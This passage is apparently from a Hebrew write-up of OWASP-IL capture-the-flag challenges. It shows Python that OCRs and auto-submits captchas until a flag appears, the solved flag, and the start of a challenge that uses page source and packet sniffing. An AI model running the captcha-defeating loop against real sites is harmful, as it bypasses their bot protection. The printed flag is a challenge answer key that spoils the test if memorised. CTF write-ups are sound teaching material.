36.0pt;margin-bottom:8.0pt;margin-left:0cm;text-align:right;text-indent:-18.0pt;
direction:rtl;unicode-bidi:embed'><span lang=EN-US>3.<span style='font:7.0pt "Times New Roman"'>
</span></span><span dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'>פיסקל
שאינו לבן הופכים ללבן</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>הנה תוצר של
האלגוריתם הזה:</span></p>
<p class=MsoNormal align=center dir=RTL style='text-align:center;direction:
rtl;unicode-bidi:embed'><span lang=en-IL dir=LTR><img border=0 width=273
height=146 id="Picture 37" src="images/image038.jpg"></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>הבעיה היא שהקווים
השחורים מאוד מקשים על ה-</span><span lang=EN-US dir=LTR>OCR</span><span
dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'><span
dir=RTL></span> (את הדוגמא לעיל הוא זיהה בתור </span><span lang=en-IL dir=LTR>uk/za</span><span
dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'><span
dir=RTL></span>). גם באתגר המקורי היו טעויות בזיהוי, אבל האחוז פה הוא גבוה
משמעותית.</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>כנראה שהפתרון הנכון
ביותר במצב הזה היה "לאמן" את ה-</span><span lang=EN-US dir=LTR>OCR</span><span
dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'><span
dir=RTL></span> עם הגופן שמשתמשים בו בתמונה. כלומר, לתת ל-</span><span
lang=EN-US dir=LTR>OCR</span><span dir=RTL></span><span lang=HE
style='font-family:"Arial",sans-serif'><span dir=RTL></span> מספיק דגימות של
התווים השונים המשמשים לבניית התמונה, כאשר עבור כל תו אנחנו מספרים ל-</span><span
lang=EN-US dir=LTR>OCR</span><span dir=RTL></span><span lang=HE
style='font-family:"Arial",sans-serif'><span dir=RTL></span> איזה תו זה, ובאופן
זה הוא "לומד" כיצד התו נראה. "אימון" כזה משפר מאוד את
היכולת של </span><span lang=EN-US dir=LTR>OCR</span><span dir=RTL></span><span
lang=HE style='font-family:"Arial",sans-serif'><span dir=RTL></span>-ים לזהות
טקסט.</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>במקום זה, בחרתי
לקחת קיצור דרך בהתבסס על המאפיינים המיוחדים של התרגיל הזה.</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>צפייה במספר תמונות
במקביל נראית כך:</span></p>
<p class=MsoNormal align=center dir=RTL style='text-align:center;direction:
rtl;unicode-bidi:embed'><span lang=en-IL dir=LTR><img border=0 width=99
height=242 id="Picture 38" src="images/image039.png"></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>שימו לב שהטקסט תמיד
תופס את אותו המקום בתמונה. לכן, בשלב הראשון (לפני עיבוד נוסף) אפשר "לחתוך"
אותו </span><span dir=LTR></span><span lang=EN-US dir=LTR><span dir=LTR></span>(crop)</span><span
dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'><span
dir=RTL></span> ולהתעלם מכל החלק הימני. לאחר מכן, הפעלתי את האלגוריתם שפירטנו לעיל
על מנת ליצור טקסט לבן על רקע שחור.</span></p>
<p class=MsoNormal dir=RTL style='margin-bottom:0cm;margin-bottom:.0001pt;
text-align:right;direction:rtl;unicode-bidi:embed'><span lang=HE
style='font-family:"Arial",sans-serif'>הקוד עצמו נראה כך:</span></p>
```python
def get_image_bounding_box(img):
w, h = img.size
return (3, 6, w - 28, h - 2)
def filter_image(in_file):
img = PIL.Image.open(in_file)
img = img.crop(get_image_bounding_box(img))
m = img.load()
new_w, new_h = img.size
num_black_pixels = 0
for x in xrange(new_w):
for y in xrange(new_h):
r,g,b = m[x,y]
if (r, g, b) == WHITE:
m[x,y] = BLACK
else:
if (r, g, b) == BLACK:
num_black_pixels += 1
m[x,y] = WHITE
return (img, num_black_pixels)
```
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>שימו לב שבנוסף
ללוגיקה שפורטה קודם, הקוד סופר פיקסלים שחורים (מקוריים, לפני השינוי) בתמונה
החתוכה. דבר זה בעצם משמש עבור קיצור הדרך שהזכרתי – במידה ומספר הפיקסלים השחורים
גדול יותר מקבוע שהוגדר מראש, הקוד מוותר על השימוש ב-</span><span lang=EN-US
dir=LTR>OCR</span><span dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'><span
dir=RTL></span> וממשיך אל התמונה הבאה. זאת, מכיוון שהקריאה לפונקציית ה-</span><span
lang=EN-US dir=LTR>OCR</span><span dir=RTL></span><span lang=HE
style='font-family:"Arial",sans-serif'><span dir=RTL></span> היא היקרה ביותר
מבחינת זמן, ואילו אחוז ההצלחה כאשר ישנם קווים חותכים על גבי הטקסט הוא נמוך
מאוד. כלומר, אלו מקרים ש"לא משתלמים". ישנו סיכוי גדול יותר שבניסיון
הבא, הקווים השחורים יופיעו במקום פחות חשוב, ואז יהיה משתלם לבצע את הקריאה ל-</span><span
lang=EN-US dir=LTR>OCR</span><span dir=RTL></span><span lang=HE
style='font-family:"Arial",sans-serif'><span dir=RTL></span>.</span></p>
<div align=right>
<table class=MsoTableGrid dir=rtl border=0 cellspacing=0 cellpadding=0 width="100%"
style='border-collapse:collapse;border:none;width:100%;'>
<tr>
<td width=301 valign=top style='width:225.4pt;border:solid windowtext 1.0pt;
padding:0cm 5.4pt 0cm 5.4pt'>
<p class=MsoNormal dir=RTL style='margin-bottom:0cm;margin-bottom:.0001pt;
text-align:right;line-height:normal;direction:rtl;unicode-bidi:embed'><span
lang=HE style='font-family:"Arial",sans-serif'>דוגמא למקרה שאינו משתלם:</span></p>
<p class=MsoNormal dir=RTL align=center style='margin-bottom:0cm;margin-bottom:.0001pt;
text-align:center;line-height:normal;direction:rtl;unicode-bidi:embed'><span
lang=EN-US dir=LTR><img border=0 width=196 height=59 id="Picture 39"
src="images/image040.jpg"></span></p>
<p class=MsoNormal dir=RTL style='margin-bottom:0cm;margin-bottom:.0001pt;
text-align:right;line-height:normal;direction:rtl;unicode-bidi:embed'><span
lang=HE style='font-family:"Arial",sans-serif'> </span></p>
</td>
<td width=301 valign=top style='width:225.4pt;border:solid windowtext 1.0pt;
border-right:none;padding:0cm 5.4pt 0cm 5.4pt'>
<p class=MsoNormal dir=RTL style='margin-bottom:0cm;margin-bottom:.0001pt;
text-align:right;line-height:normal;direction:rtl;unicode-bidi:embed'><span
lang=HE style='font-family:"Arial",sans-serif'>דוגמא למקרה משתלם:</span></p>
<p class=MsoNormal dir=RTL align=center style='margin-bottom:0cm;margin-bottom:.0001pt;
text-align:center;line-height:normal;direction:rtl;unicode-bidi:embed'><span
lang=EN-US dir=LTR><img border=0 width=203 height=61 id="Picture 40"
src="images/image041.jpg"></span></p>
</td>
</tr>
</table>
</div>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>אם ביצענו את קיצור
הדרך הזה, נצטרך לבצע הרבה יותר קריאות כדי "לחפות" על המקרים שאינם
משתלמים (לכן קצת קשה לקרוא לו "אופטימיזציה").</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>הקוד של הפונקציה
העיקרית במקרה הזה הוא:</span></p>
```python
with requests.Session() as s:
with open(DEBUG_FILENAME, "w") as debug_file:
for i in range(NUM_ATTEMPTS):
print ("-" * 15)
print (i)
if DEBUG:
debug_file.write("<hr/><br/><h2>{}</h2>\n".format(i))
response = s.get(URL + "captcha.php", stream=True)
img_to_filter = response.raw
if DEBUG:
temp = io.BytesIO(img_to_filter.read())
debug_file.write("<img src='data:image/png;base64, {}' width='{}' /><br/>\n"
.format(base64.b64encode(temp.read()), DEBUG_IMG_SIZE))
temp.seek(0)
img_to_filter = temp
raw_after_filter, black_pixels = filter_image(img_to_filter)
if black_pixels > BLACK_PIXEL_LIMIT:
continue
if DEBUG:
with io.BytesIO() as output:
raw_after_filter.save(output, format="PNG")
debug_file.write("<img src='data:image/png;base64, {}' width='{}' /><br/>\n"
.format(base64.b64encode(output.getvalue()), DEBUG_IMG_SIZE))
del response
guess = get_guess(raw_after_filter)
print (guess)
if DEBUG:
debug_file.write(guess.encode("utf-8") + "\n")
math_answer = get_math_captcha_answer()
payload = {'captcha': guess, "math_captcha": math_answer, "submit": ""}
response = s.post(URL, data=payload)
if "flag" in response.text or "OWASP" in response.text:
print (response.text)
break
solved_captchas_match = solved_regex.search(response.text)
if solved_captchas_match:
print ("Solved: {}".format(solved_captchas_match.group(1)))
```
<p class=MsoNormal style='margin-bottom:0cm;margin-bottom:.0001pt'><span
lang=HE dir=RTL style='font-size:9.0pt;line-height:107%;font-family:"Courier New"'> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>בגדול, הוא עושה
בדיוק מה שאמרנו:</span></p>
<p class=MsoListParagraphCxSpFirst dir=RTL style='margin-top:0cm;margin-right:
36.0pt;margin-bottom:8.0pt;margin-left:0cm;text-align:right;text-indent:-18.0pt;
direction:rtl;unicode-bidi:embed'><span lang=EN-US style='font-family:Symbol'>·<span
style='font:7.0pt "Times New Roman"'>
</span></span><span dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'>מבצע
מספר ניסיונות (</span><span lang=EN-US dir=LTR style='font-size:9.0pt;
line-height:107%;font-family:"Courier New"'>NUM_ATTEMPTS</span><span dir=RTL></span><span
lang=HE style='font-family:"Arial",sans-serif'><span dir=RTL></span>), כאשר בכל
ניסיון, הוא:</span></p>
<p class=MsoListParagraphCxSpMiddle dir=RTL style='margin-top:0cm;margin-right:
72.0pt;margin-bottom:8.0pt;margin-left:0cm;text-align:right;text-indent:-18.0pt;
direction:rtl;unicode-bidi:embed'><span lang=EN-US style='font-family:"Courier New"'>o<span
style='font:7.0pt "Times New Roman"'>
</span></span><span dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'>קורא
את התמונה</span></p>
<p class=MsoListParagraphCxSpMiddle dir=RTL style='margin-top:0cm;margin-right:
72.0pt;margin-bottom:8.0pt;margin-left:0cm;text-align:right;text-indent:-18.0pt;
direction:rtl;unicode-bidi:embed'><span lang=EN-US style='font-family:"Courier New"'>o<span
style='font:7.0pt "Times New Roman"'>
</span></span><span dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'>מנקה
את התמונה ובודק את מספר הפיקסלים השחורים (</span><span lang=EN-US dir=LTR
style='font-size:8.0pt;line-height:107%;font-family:"Courier New"'>filter_image</span><span
dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'><span
dir=RTL></span>)</span></p>
<p class=MsoListParagraphCxSpMiddle dir=RTL style='margin-top:0cm;margin-right:
72.0pt;margin-bottom:8.0pt;margin-left:0cm;text-align:right;text-indent:-18.0pt;
direction:rtl;unicode-bidi:embed'><span lang=EN-US style='font-family:"Courier New"'>o<span
style='font:7.0pt "Times New Roman"'>
</span></span><span dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'>מוותר
על הניסיון אם המספר גבוה מדי</span></p>
<p class=MsoListParagraphCxSpMiddle dir=RTL style='margin-top:0cm;margin-right:
72.0pt;margin-bottom:8.0pt;margin-left:0cm;text-align:right;text-indent:-18.0pt;
direction:rtl;unicode-bidi:embed'><span lang=EN-US style='font-family:"Courier New"'>o<span
style='font:7.0pt "Times New Roman"'>
</span></span><span dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'>פותר
את המשוואה המתמטית (</span><span lang=EN-US dir=LTR style='font-size:8.0pt;
line-height:107%;font-family:"Courier New"'>get_math_captcha_answer</span><span
dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'><span
dir=RTL></span>)</span></p>
<p class=MsoListParagraphCxSpMiddle dir=RTL style='margin-top:0cm;margin-right:
72.0pt;margin-bottom:8.0pt;margin-left:0cm;text-align:right;text-indent:-18.0pt;
direction:rtl;unicode-bidi:embed'><span lang=EN-US style='font-family:"Courier New"'>o<span
style='font:7.0pt "Times New Roman"'>
</span></span><span dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'>מגיש
את הפתרון</span></p>
<p class=MsoListParagraphCxSpMiddle dir=RTL style='margin-top:0cm;margin-right:
72.0pt;margin-bottom:8.0pt;margin-left:0cm;text-align:right;text-indent:-18.0pt;
direction:rtl;unicode-bidi:embed'><span lang=EN-US style='font-family:"Courier New"'>o<span
style='font:7.0pt "Times New Roman"'>
</span></span><span dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'>מדפיס
את מספר ההצלחות</span></p>
<p class=MsoListParagraphCxSpLast dir=RTL style='margin-top:0cm;margin-right:
72.0pt;margin-bottom:8.0pt;margin-left:0cm;text-align:right;text-indent:-18.0pt;
direction:rtl;unicode-bidi:embed'><span dir=RTL></span><span lang=EN-US
style='font-family:"Courier New"'>o<span style='font:7.0pt "Times New Roman"'>
</span></span><span dir=RTL></span><span dir=RTL></span><span lang=HE
style='font-family:"Arial",sans-serif'><span dir=RTL></span>(במידה ודגל </span><span
lang=EN-US dir=LTR>DEBUG</span><span dir=RTL></span><span lang=HE
style='font-family:"Arial",sans-serif'><span dir=RTL></span> דלוק, הוא מטמיע בקובץ
</span><span lang=EN-US dir=LTR>HTML</span><span dir=RTL></span><span
lang=EN-US style='font-family:"Arial",sans-serif'><span dir=RTL></span> </span><span
lang=HE style='font-family:"Arial",sans-serif'>את התמונה המקורית, את התמונה
הנקייה ואת הניחוש, כך שבסוף הריצה אפשר לעבור על כל הנסיונות בקלות)</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>לשם השלמות, נצרף גם
את פונקציות-העזר שהזכרנו.</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>הפונקציה לקבלת
הניחוש:</span></p>
```python
def get_guess(img):
guess = pytesseract.image_to_string(img, config=r'--psm 8').encode("utf-8")
guess = guess.translate(SIMILAR_LETTERS_TRANS)
guess = guess.translate(None, '?.,_ |')
return guess
```
<p class=MsoNormal><span lang=EN-US> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>מלבד הקריאה ל-</span><span
lang=EN-US dir=LTR>OCR</span><span dir=RTL></span><span lang=HE
style='font-family:"Arial",sans-serif'><span dir=RTL></span> עצמו, הפונקציה גם
מבצעת עיבוד נוסף לתשובה באמצעות המילון הבא:</span></p>
```python
SIMILAR_LETTERS_TRANS = string.maketrans("IOYSBFZXCVMKWUJD0]?", "lo958fzxcvmkwuj5ol7")
```
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>העיבוד הזה נדרש
בגלל באג בגרסאות החדשות של </span><span lang=EN-US dir=LTR>Tesseract</span><span
dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'><span
dir=RTL></span> שבעקבותיו לא ניתן להגדיר רשימת תווים סגורה (אותיות קטנות
ומספרים במקרה שלנו). לכן, כשה-</span><span lang=EN-US dir=LTR>OCR</span><span
dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'><span
dir=RTL></span> טועה וחושב שמדובר באות גדולה, הקוד הזה מתקן אותו (לא תמיד מדובר
בשווה-ערך ל-</span><span lang=EN-US dir=LTR>lower()</span><span dir=RTL></span><span
lang=HE style='font-family:"Arial",sans-serif'><span dir=RTL></span>. למשל,
צריך לתקן את </span><span lang=EN-US dir=LTR>B</span><span dir=RTL></span><span
lang=HE style='font-family:"Arial",sans-serif'><span dir=RTL></span> ל-8 ולא ל-</span><span
lang=EN-US dir=LTR>b</span><span dir=RTL></span><span lang=HE style='font-family:
"Arial",sans-serif'><span dir=RTL></span>).</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>ולסיום, הקוד לפתרון
המשוואה החשבונית:</span></p>
```python
def get_math_captcha_answer():
operation = {'+': operator.add, '-': operator.sub, '*': operator.mul}
r = s.get(URL)
match = match_captcha_regex.search(r.text)
try:
return operation[match.group(2)](int(match.group(1)), int(match.group(3)))
except Exception as e:
raise Exception("Error attempting to solve math! ({})".format(str(e)))
```
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>אחרי בין 70-200
ניסיונות (משמעותית גרוע יותר מהאתגר המקורי) הפתרון שמתקבל הוא:<br>
</span><b><span lang=EN-US dir=LTR>OWASP-IL{I_4M_Th3_0CR_N1nj4!}</span></b></p>
<h2 dir=RTL style='text-align:right;direction:rtl;unicode-bidi:embed'><span
lang=HE style='font-family:"Times New Roman",serif'>אתגר 14 - </span><span
lang=EN-US dir=LTR>Flags, Flags, Flags</span><span dir=RTL></span><span
lang=HE style='font-family:"Times New Roman",serif'><span dir=RTL></span> (רמת
קושי קשה, 750 נקודות)</span></h2>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>הוראות האתגר:</span></p>
<p><span lang=en-IL>There are so many flags but where is my flag!!! :(<br>
Please find my flag I know it's here...</span></p>
<p><span lang=en-IL>URL: <span class=MsoHyperlink><b><a
href="https://challenges.owaspil.ctf.today:8443/">https://challenges.owaspil.ctf.today:8443/</a></b></span></span></p>
<p class=MsoNormal><span lang=en-IL>Hint</span><span lang=EN-US>: </span><span
lang=en-IL>If you see this message</span></p>
<p><span lang=EN-US style='font-size:11.0pt;font-family:"Calibri",sans-serif'><img
border=0 width=622 height=96 id="Picture 41" src="images/image042.png"></span><br/><b><span
lang=en-IL>You already have the flag, just sniff around.... <br>
And please shut down your proxy it could scare the flag.</span></b></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>פתרון:</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>לחיצה על הקישור
מביאה אותנו לדף </span><span lang=en-IL dir=LTR>HTTPS</span><span dir=RTL></span><span
lang=HE style='font-family:"Arial",sans-serif'><span dir=RTL></span> (עם </span><span
lang=EN-US dir=LTR>self-signed certificate</span><span dir=RTL></span><span
lang=HE style='font-family:"Arial",sans-serif'><span dir=RTL></span> לא מוכר)
שמכיל עשרות דגלים:</span></p>
<p class=MsoNormal dir=RTL align=center style='text-align:center;direction:rtl;unicode-bidi:
embed'><span lang=en-IL dir=LTR><img border=0 width=411 height=268
id="Picture 42" src="images/image043.png"></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>את האתגר התחלתי
לפתור אחרי שכבר פורסם הרמז, ולכן הדרך לשלב הראשון התקצרה עבורי, אך לא בדיוק
באופן שיוצרי האתגר התכוונו אליו.</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>כשהסתכלתי על החלק
המטושטש של הרמז, המילה השנייה נראתה לי מאוד כמו </span><span lang=EN-US
dir=LTR>flags</span><span dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'><span
dir=RTL></span>, וזה הסתדר מצוין עם קוד המקור של האתר:</span></p>
```html
<div class="col-lg-1 col-sm-2 col-xs-4">
<p class="blend-link">
<a href="./flags/argentina-flags-cat.png">
<img class="blend-img" src="./flags/argentina-flags-cat.png" width="100%" alt="ARGENTINA"><br>ARGENTINA</a></p>
</div>
<div class="col-lg-1 col-sm-2 col-xs-4">
<p class="blend-link">
<a href="./flags/armenia-flags-cat.png">
<img class="blend-img" src="./flags/armenia-flags-cat.png" width="100%" alt="ARMENIA"><br>ARMENIA</a></p>
</div>
```
<p class=MsoNormal><span lang=en-IL> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>אם כך, המילה השלישית
צריכה להיות </span><span lang=EN-US dir=LTR>cat</span><span dir=RTL></span><span
lang=HE style='font-family:"Arial",sans-serif'><span dir=RTL></span>. נותר
לגלות מה המילה הראשונה:</span></p>
<p class=MsoNormal dir=RTL align=center style='text-align:center;direction:rtl;unicode-bidi:
embed'><span lang=en-IL dir=LTR><img border=0 width=310 height=62
id="Picture 43" src="images/image044.png"></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>אם נחדד קצת את
התמונה:</span></p>
<p class=MsoNormal dir=RTL align=center style='text-align:center;direction:rtl;unicode-bidi:
embed'><span lang=en-IL dir=LTR><img border=0 width=310 height=62
id="Picture 44" src="images/image045.png"></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>אם נמדוד את הגדלים
של ה"גושים", נגלה שהרוחב של המילה השנייה (</span><span lang=EN-US
dir=LTR>flags</span><span dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'><span
dir=RTL></span>) הוא כ-40 פיקסלים, כלומר כ-8 פיקסלים לתו. הרוחב של המילה
הראשונה הוא כ-150 פיקסלים, משמע כ-19 תווים ברוחב 8 פיקסלים.</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>במקרה, הקישור היחיד
שמתאים לכך הוא:</span></p>
<p class=MsoNormal align=center dir=RTL style='text-align:center;direction:
rtl;unicode-bidi:embed'><span lang=en-IL dir=LTR><img border=0 width=601
height=51 id="Picture 45" src="images/image046.jpg"></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>ואכן:</span></p>
<p class=MsoNormal dir=RTL align=center style='text-align:center;direction:rtl;unicode-bidi:
embed'><span lang=en-IL dir=LTR><img border=0 width=602 height=49
id="Picture 46" src="images/image047.jpg"></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>איך היה אפשר למצוא
את הקישור הזה בלי "לרמות" לאחר מתן הרמז? כנראה על ידי ביקור בכל
הקישורים ובדיקת התגובה.</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>איך היה אפשר למצוא
את הקישור הזה לפני הרמז? הוא היחיד שמופיע ללא סיומת </span><span lang=EN-US
dir=LTR>PNG</span><span dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'><span
dir=RTL></span>:</span></p>
<pre><code><span lang=en-IL> </span></code></pre>
```html
<div class="col-lg-1 col-sm-2 col-xs-4">
<p class="blend-link">
<a href="./flags/Netherlands-flags-cat.png">
<img class="blend-img" src="./flags/Netherlands-flags-cat.png" width="100%" alt="NETHERLANDS"><br>NETHERLANDS</a></p>
</div>
<div class="col-lg-1 col-sm-2 col-xs-4">
<p class="blend-link">
<a href="./flags/NetherlandsAntilles-flags-cat">
<img class="blend-img" src="./flags/NetherlandsAntilles-flags-cat.png" width="100%" alt="NETHERLANDS ANTILLES"><br>NETHERLANDS ANTILLES</a></p>
</div>
```
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>כנראה בגלל
ה"רמאות" הזאת, הקארמה התנקמה בי והחלק השני לקח לי שעות על גבי שעות.</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>הרמז אמר שהדגל כבר
אצלנו ורק צריך "לרחרח מסביב" </span><span dir=LTR></span><span
lang=EN-US dir=LTR><span dir=LTR></span>(sniff around)</span><span dir=RTL></span><span
lang=HE style='font-family:"Arial",sans-serif'><span dir=RTL></span>, רמז עבה
לשימוש ב-</span><span lang=EN-US dir=LTR>Sniffer</span><span dir=RTL></span><span
lang=HE style='font-family:"Arial",sans-serif'><span dir=RTL></span> ללכידת
התעבורה וניתוחה.</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>לכן, הצעד המתבקש
הבא הוא לפתוח </span><span lang=EN-US dir=LTR>Sniffer</span><span dir=RTL></span><span
lang=HE style='font-family:"Arial",sans-serif'><span dir=RTL></span> כדוגמת </span><span
lang=EN-US dir=LTR>WireShark</span><span dir=RTL></span><span lang=HE
style='font-family:"Arial",sans-serif'><span dir=RTL></span>, לבצע את הבקשה
לאתר ולעבור על התעבורה שמתקבלת.</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>כך זה נראה:</span></p>
<p class=MsoNormal dir=RTL align=center style='text-align:center;direction:rtl;unicode-bidi:
embed'><span lang=en-IL dir=LTR><img border=0 width=622 height=252
id="Picture 47" src="images/image048.jpg"></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>את החלק הראשון (</span><span
lang=EN-US dir=LTR>DNS</span><span dir=RTL></span><span lang=HE
style='font-family:"Arial",sans-serif'><span dir=RTL></span>) אפשר לפסול (למשל
כי הוא לא קשור לבקשה הספציפית ל-</span><span lang=EN-US dir=LTR>URI</span><span
dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'><span
dir=RTL></span> הזה, והוא בכלל לא מתקבל מהשרת). מה שנשאר לבדוק הוא את התעבורה
החל מלחיצת היד ברמת ה-</span><span lang=EN-US dir=LTR>TCP</span><span dir=RTL></span><span
lang=HE style='font-family:"Arial",sans-serif'><span dir=RTL></span> עם השרת
ועד לסיום התקשורת. </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>ישנן מספר שכבות
לבדוק:</span></p>
<p class=MsoListParagraphCxSpFirst dir=RTL style='margin-top:0cm;margin-right:
36.0pt;margin-bottom:8.0pt;margin-left:0cm;text-align:right;text-indent:-18.0pt;
direction:rtl;unicode-bidi:embed'><span lang=EN-US>1.<span style='font:7.0pt "Times New Roman"'>
</span></span><span dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'>שכבת
</span><span lang=EN-US dir=LTR>IP</span></p>
<p class=MsoListParagraphCxSpMiddle dir=RTL style='margin-top:0cm;margin-right:
36.0pt;margin-bottom:8.0pt;margin-left:0cm;text-align:right;text-indent:-18.0pt;
direction:rtl;unicode-bidi:embed'><span lang=EN-US>2.<span style='font:7.0pt "Times New Roman"'>
</span></span><span dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'>שכבת
</span><span lang=EN-US dir=LTR>TCP</span></p>
<p class=MsoListParagraphCxSpLast dir=RTL style='margin-top:0cm;margin-right:
36.0pt;margin-bottom:8.0pt;margin-left:0cm;text-align:right;text-indent:-18.0pt;
direction:rtl;unicode-bidi:embed'><span lang=EN-US>3.<span style='font:7.0pt "Times New Roman"'>
</span></span><span dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'>שכבת
</span><span lang=EN-US dir=LTR>TLS</span><span dir=RTL></span><span lang=HE
style='font-family:"Arial",sans-serif'><span dir=RTL></span> (החל משלב מסוים
התעבורה בשכבה זו מוצפנת)</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>מכיוון שזהו האתגר
היחיד שמכיל שכבת </span><span lang=EN-US dir=LTR>TLS</span><span dir=RTL></span><span
lang=HE style='font-family:"Arial",sans-serif'><span dir=RTL></span>, זה נראה
כמו המקום ההגיוני להתחיל ממנו.</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>אפשר לבחון את פרטי ההתקשרות
באמצעות שימוש </span><span lang=EN-US dir=LTR>cURL</span><span dir=RTL></span><span
lang=HE style='font-family:"Arial",sans-serif'><span dir=RTL></span> במצב </span><span
lang=EN-US dir=LTR>Verbose</span><span dir=RTL></span><span lang=HE
style='font-family:"Arial",sans-serif'><span dir=RTL></span>:</span></p>
